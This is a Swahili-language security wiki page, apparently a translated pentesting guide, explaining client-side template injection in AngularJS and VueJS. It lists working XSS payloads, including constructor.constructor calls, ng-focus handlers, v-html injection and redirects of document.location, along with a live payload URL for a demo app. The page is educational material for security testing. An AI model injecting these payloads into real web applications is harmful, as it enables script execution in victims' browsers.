# Muhtasari

Ni kama [**Uvujaji wa Kiolesura cha Upande wa Seva**](ssti-server-side-template-injection/) lakini kwenye **mteja**. **SSTI** inaweza kuruhusu wewe **kutekeleza nambari** kwenye seva ya mbali, **CSTI** inaweza kuruhusu wewe **kutekeleza nambari ya JavaScript** isiyo na kikomo kwenye kivinjari cha muathiriwa.

**Kujaribu** kwa udhaifu huu ni sawa na katika kesi ya **SSTI**, mkalimani anatarajia **kiolesura** na kuitekeleza. Kwa mfano, na mzigo kama `{{ 7-7 }}`, ikiwa programu ni **dhaifu** utaona `0`, na kama sivyo, utaona asili: `{{ 7-7 }}`

# AngularJS

AngularJS ni mfumo maarufu wa JavaScript unaoshirikiana na HTML kupitia sifa inayoitwa miongozo, moja inayojulikana ni **`ng-app`**. Miongozo hii inaruhusu AngularJS kusindika yaliyomo ya HTML, ikiruhusu utekelezaji wa maelezo ya JavaScript ndani ya mabano mara mbili.

Katika hali ambapo mwingiliano wa mtumiaji unawekwa kwa dinamiki ndani ya mwili wa HTML ulioandikwa na `ng-app`, inawezekana kutekeleza nambari isiyo na kikomo ya JavaScript. Hii inaweza kufanikishwa kwa kutumia muundo wa AngularJS ndani ya mwingiliano. Hapa chini ni mifano inayoonyesha jinsi nambari ya JavaScript inavyoweza kutekelezwa:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
Unaweza kupata mfano wa msingi sana wa udhaifu katika **AngularJS** katika [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) na katika **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**

{% hint style="danger" %}
[**Angular 1.6 iliondoa sanduku la mchanga**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) hivyo kutoka kwenye toleo hili, mzigo kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.
{% endhint %}

# VueJS

Unaweza kupata utekelezaji wa **Vue ulio na udhaifu** katika [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Mzigo unaofanya kazi: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)

Na **msimbo wa chanzo** wa mfano ulio na udhaifu unapatikana hapa: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
